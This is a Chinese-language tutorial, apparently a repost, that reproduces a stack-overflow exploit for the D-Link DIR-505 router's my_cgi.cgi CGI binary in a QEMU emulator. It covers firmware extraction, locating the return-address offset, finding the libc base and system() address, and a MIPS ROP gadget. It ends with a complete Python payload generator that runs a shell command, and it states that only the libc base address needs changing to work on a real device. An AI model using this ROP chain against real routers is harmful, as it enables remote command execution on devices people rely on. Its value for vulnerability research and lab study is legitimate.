内容简介:物联网的漏洞复现和传统系统的漏洞复现的不同点在于,物理网漏洞依赖于硬件,几乎每一个漏洞都得买一个新的硬件复现,这不同于传统系统只要下载好正确的对应版本软件即可。因此,在本地的虚拟环境中复现漏洞是一个极其经济的做法。且在正式向实际硬件复现漏洞之前,在本地虚拟环境中复现将有利于调试实际环境中的不可预期问题。本文因此以路由器漏洞D-Link DIR-505为例,介绍如何在本地虚拟机中完成漏洞复现。在《揭秘家用路由器0day漏洞挖掘技术》里面的第12章,介绍了如何挖掘以及利用D-Link DIR-505的漏洞。但
前言
物联网的漏洞复现和传统系统的漏洞复现的不同点在于,物理网漏洞依赖于硬件,几乎每一个漏洞都得买一个新的硬件复现,这不同于传统系统只要下载好正确的对应版本软件即可。因此,在本地的虚拟环境中复现漏洞是一个极其经济的做法。且在正式向实际硬件复现漏洞之前,在本地虚拟环境中复现将有利于调试实际环境中的不可预期问题。
本文因此以路由器漏洞D-Link DIR-505为例,介绍如何在本地虚拟机中完成漏洞复现。在《揭秘家用路由器0day漏洞挖掘技术》里面的第12章,介绍了如何挖掘以及利用D-Link DIR-505的漏洞。但是书本里面介绍的方法,如果要在本地的QEMU虚拟机里面执行的话,有问题,因为在使用bash脚本输出执行的时候,会自动过滤掉null 字符,然后一个关键的调用system函数的地址就包含了null字符,因此使得在本地QEMU的验证失败。本文与书本里面的方法不同,利用调用外部库libc.so.0里面的system函数,并且在libc.so.0里面寻找可利用的gadget,来实现在本地QEMU虚拟机环境里面,对于D-Link DIR-505的漏洞利用,无需在实际的设备中测试。如果需要在实际的设备中测试的时候,仅需要改变代入库函数的基地址就可以。
在本文中,我将介绍:1.如何调用从共享库libc.so.0里面调用system函数,2.如何确定共享库libc.so.0的基地址。其中,对于2,我提供了两种方式,其实还有第三种方式,但是我还尚未验证,理论上也是可行的,也将在文后提出来。
下面进入正题。前提是假设读者已经拥有了搭建好的QEMU环境。
1. binwalk 固件提取
首先老规矩,利用binwalk 将下载的Dlink固件提取:
$ binwalk -Me DIR505A1_FW108B07.bin
2. 分析漏洞关键位置
复用书本中对于公布的漏洞细节的分析,可以发现漏洞出现的关键位置,在根目录的/usr/bin/my_cgi.cgi中。且关键输入源是storage_path=xx. 虽然CONTENT_LENGTH对于读取的storage_path的内容长度有所限制,但是对于CONTENT_LENGTH的数值没有限制,导致了实际上任意长度的字符串内容都可以被读取,导致了栈溢出的漏洞。详细的分析可以参考书中的第12章,这里不再赘述。
3. 分析RA偏移
接下来就是分析能够对于函数返回寄存器RA产生溢出的偏移地址位置。使用书本提供的patternLocOffset.py脚本生成字符串匹配脚本,来计算偏移。
$ python patternLocOffset.py –c –l 600 –f dir505test [*] Create pattern string contains 600 characters ok! [+] output to passwd ok! [+] take time: 0.0026 s
4. QEMU运行漏洞程序
接着使用如下脚本来使得my_cgi.cgi在QEMU的环境下执行:
# sudo bash my_cgi_test.sh # INPUT=`python -c "print 'storage_path='+open('dir505test','r').read()"` INPUT=`python -c "print 'storage_path='+'B'*477450+open('dir505test','r').read()"` # LEN=$(echo -n "INPUT" | wc -c) ((LEN=477472+0x100)) PORT="1234" if [ "$LEN" == "0" ] || [ "$INPUT" == "-h" ] || [ "$UID" != "0" ] then echo -e "usage: sudo bash my_cgi_test.sh" exit 1 fi cp $(which qemu-mips-static) ./qemu echo "CONTENT_LENGTH" + $LEN echo "$INPUT" | chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="manultipart/form-data" -E SCRIPT_NAME="common" -E REQUEST_METHOD="POST" -E REQUEST_URI="/my_cgi.cgi" -g $PORT /usr/bin/my_cgi.cgi 2>/dev/null echo "youtest" rm -f ./qemu
这里要特别注意的有两点:
一点是,CONTENT_LENGTH最好自己手动指定长度,原始书本里面提供的脚本设置的CONTENT_LENGTH长度是不对的,它显示只是bash脚本参数的个数(一般来说就是3或者5),那这样的话,就始终无法读取到我们之后所有设置的payload内容,这个部分我一直卡住了很久,而书本中也未曾提到这一点,希望各位小伙伴在复现的时候一定注意。所以我们这里设置((LEN=477472+0x100))。 之后LEN会赋值给CONTENT_LENGTH。
另一点,storage_path这里要先覆盖掉整个全局变量的长度,这个部分类似于书本中分析,可以发现memset(entries, 0 , 477450)的477450长度,所以我们设置477450的预先覆盖长度。
5. 运行脚本之后,使用IDA挂载程序,在返回RA处设置断点,查看RA的数据。
可以发现覆盖的字符串内容为61374161, 那么我们来查找一下:
$ python patternLocOffset.py -s 0x61374161 -l 700 [*] Create pattern string contains 700 characters ok! [*] Exact match at offset 22 [+] take time: 0.0012 s
发现是第22个偏移。那么如果想要覆盖到RA的话,前面总共的偏移量为477450+22= 477472 .
6. gadget寻找与利用
按照书本原来的做法,直接找到在my_cgi.cgi里面的一个gadget 地址为0x00405B1C,这个地址是调用system函数的地址,然后在对应的位置覆盖要传入的CMD就可以。但是前面提到过,如果用bash脚本的话,会把null字符过滤掉,导致地址无法正确输入,0x00405B1C中包含了一个null字符0x00. 所以我们下面开始要寻找共享库函数libc.so.0里面的system函数,并且也同时在libc.so.0利用寻找可以利用的gadget来实现system函数调用、传参。
为了完成上述任务,需要完成以下步骤:
A. 寻找libc.so.0的基地址
B. 寻找system函数的位置
C. 寻找libc.so.0里面可以利用gadget
7. 寻找libc.so.0的基地址
本文提供两种方法:利用读取proc文件的方式,和利用gdb调试的方式。
第一种,利用读取proc文件的方式。
在运行了bash脚本,且用IDA挂载之后,运行ps –ef查看对应进程的id
接下来运行下面的命令,查看对应库导入的地址范围
$ sudo cat /proc/5006/maps
注意,libc.so.0的符号连接就是这个libuClibc-0.9.30.so,这个问题曾经也一直困扰我很久,希望大家一定注意这个点。
因此我们就确定了这个库的基地址是: 0x408c2000
第二种方式,利用gdb调试。
这里使用的是gdb远程调试的方式。
同样的,在运行了bash脚本之后,运行下面的命令进行调试
$gdb my_cgi.cgi Type "apropos word" to search for commands related to "word"... Reading symbols from my_cgi.cgi...(no debugging symbols found)...done. (gdb) target remote 127.0.0.1:1234 Remote debugging using 127.0.0.1:1234 warning: remote target does not support file transfer, attempting to access files from local filesystem. warning: Unable to find dynamic linker breakpoint function. GDB will be unable to debug shared library initializers and track explicitly loaded dynamic code. 0x00000000 in ?? () (gdb) break *0x00400034 Breakpoints 1 0x00400034 (gdb) set solib-search-path ../../lib warning: `/home/-/router_test/dir505/_DIR505A1_FW108B07.bin.extracted/squashfs-root/lib/ld-uClibc-0.9.30.so': Shared library architecture unknown is not compatible with target architecture i386. warning: `/home/-/router_test/dir505/_DIR505A1_FW108B07.bin.extracted/squashfs-root/lib/ld-uClibc-0.9.30.so': Shared library architecture unknown is not compatible with target architecture i386. Reading symbols from /home/-/router_test/dir505/_DIR505A1_FW108B07.bin.extracted/squashfs-root/lib/ld-uClibc-0.9.30.so...(no debugging symbols found)...done. warning: Unable to find dynamic linker breakpoint function. GDB will be unable to debug shared library initializers and track explicitly loaded dynamic code. (gdb) c Continuing. Program received signal SIGTRAP, Trace/breakpoint trap. 0x00400034 in ?? () (gdb) info sharedlibrary From To Syms Read Shared Object Library Yes (*) /home/-/router_test/dir505/_DIR505A1_FW108B07.bin.extracted/squashfs-root/lib/ld-uClibc-0.9.30.so 0x40819910 0x4081cab0 Yes /home/-/router_test/dir505/_DIR505A1_FW108B07.bin.extracted/squashfs-root/lib/libmidware.so 0x4082f580 0x40836b80 Yes /home/-/router_test/dir505/_DIR505A1_FW108B07.bin.extracted/squashfs-root/lib/libputil.so 0x4084a9a0 0x4084ce80 Yes /home/-/router_test/dir505/_DIR505A1_FW108B07.bin.extracted/squashfs-root/lib/libeutil.so 0x4085fb50 0x40860e00 Yes /home/-/router_test/dir505/_DIR505A1_FW108B07.bin.extracted/squashfs-root/lib/libnvram.so 0x408734d0 0x40874bd0 Yes /home/-/router_test/dir505/_DIR505A1_FW108B07.bin.extracted/squashfs-root/lib/libmd5.so Yes /home/-/router_test/dir505/_DIR505A1_FW108B07.bin.extracted/squashfs-root/lib/libgcc_s.so.1 0x408cbf90 0x408ebf90 Yes /home/-/router_test/dir505/_DIR505A1_FW108B07.bin.extracted/squashfs-root/lib/libuClibc-0.9.30.so (*): Shared library is missing debugging information.
可以发现载入的地址是 0x408cbf90 ,但是这个不是基地址,而是载入了libc.so.0的入口地址,基地址就要减去其入口地址。执行下面的命令:
$ readelf -a libc.so.0 |more ELF Header: Magic: 7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00 Class: ELF32 Data: 2's complement, big endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: DYN (Shared object file) Machine: MIPS R3000 Version: 0x1 Entry point address: 0x9f90 Start of program headers: 52 (bytes into file)
最终可以计算得到基地址: 0x408cbf90-0x9f90=0x408c2000 。 和前面得到的是一样的。
第三种方式,利用已经载入的函数地址。
算是思路。即,在动态载入了函数以后,在main函数里面查找调用了libc.so.0里面函数的位置,下断点,找到其已经计算好的函数偏移func_offset, 然后在libc.so.0里面找到该函数的偏移libc_offset, 两者相减就是基地址: base_offset = func_offset – libc_offset。 尚未验证,但是理论上是可行的。
8. 寻找system函数在libc.so.0里面的地址。
这个简单,直接用IDA导入libc.so.0,然后查找即可。
因此,在这个例子里面,system函数的地址为: 0x0004BC80 .
9. 寻找libc.so.0里面可以利用gadget
利用IDA脚本 mipsrop.stackfinder(),既可以找到。
发现0x 000149AC这个位置的代码段好用。其代码块内容为:
LOAD:000149AC addiu $s5, $sp, 0x170-0x160 LOAD:000149B0 move $a1, $s3 LOAD:000149B4 move $a2, $s1 LOAD:000149B8 move $t9, $s0 LOAD:000149BC jalr $t9 ; mempcpy LOAD:000149C0 move $a0, $s5
因此,只要在sp+0x170-0x160 放入需要执行的命令(比如“ls”),然后在s0填入system函数的地址就可以了。
整个堆栈的payload覆盖示意图如下面所示:
关键的位置用灰底色标记出来了。
完整的漏洞利用payload生成脚本为:
#!/usr/bin/env python import struct print '[*] prepare shellcode', cmd = "ls" # command string cmd += "x00"*(4 - (len(cmd) % 4)) # align by 4 bytes libc = 0x408c2000 libcSystemaddress = 0x0004BC80 libcSystemCaller = 0x000149AC #shellcode paddinglen = 477472 - 36; shellcode = "A"*paddinglen # padding buf shellcode += struct.pack(">L",libc+libcSystemaddress) # s0, shellcode += "B"*4; # s1, shellcode += "B"*4; # s2, shellcode += "B"*4; # s3, shellcode += "B"*4; # s4, shellcode += "B"*4 # s5, shellcode += "B"*4; # s6, shellcode += "B"*4; # s7, shellcode += "B"*4; # fp, shellcode += struct.pack(">L",libc+libcSystemCaller) # after fill the RA, then it is the SP stack start. shellcode += "C"*0x10 # padding for fill the parameter cmd. shellcode += cmd shellcode += "0x00" print ' ok!' #create password file print '[+] create password file', fw = open('dir505test','w') fw.write(shellcode) fw.close() print ' ok!'
10. 执行效果
可以发现漏洞在本地的QEMU虚拟机中也被成功的利用了。省去了我们要借助实际路由器的麻烦。
总结
为了能够在QEMU环境中实现漏洞复现的第一步验证,实现一个可靠的ROP chain是有必要的。也许有的读者会说,虽然bash里面会自动把null过滤掉,那么可以寻找方案让bash不过滤掉null不就行了?这个思路治标不治本,因此虽然在某些例子里面,即使payload包含null也ok(比如之前发表过的文章: MIPS缓冲区溢出漏洞实践 ),但是作为一个向着通用漏洞前进的方案,应当是尽可能构造一个无null字符的payload。本文在实践过程中总结了一些可能会遇到的坑,这些坑书本里面没有提到,希望大家能够避免。此外,除了本文提到的方式,还可以通过构造shellcode的方式来避免null byte。Shellcode的构造将在未来介绍。
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 【漏洞复现】WordPress插件Quizlord 2.0 XSS漏洞复现与分析
- Ghost Tunnel复现
- Paxos与“幽灵复现”
- CVE-2010-3333漏洞复现
- CVE-2017-12149漏洞复现
- CSAW 2018 复现writeup
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Learn Python the Hard Way
Zed Shaw / Example Product Manufacturer / 2011
This is a very beginner book for people who want to learn to code. If you can already code then the book will probably drive you insane. It's intended for people who have no coding chops to build up t......一起来看看 《Learn Python the Hard Way》 这本书的介绍吧!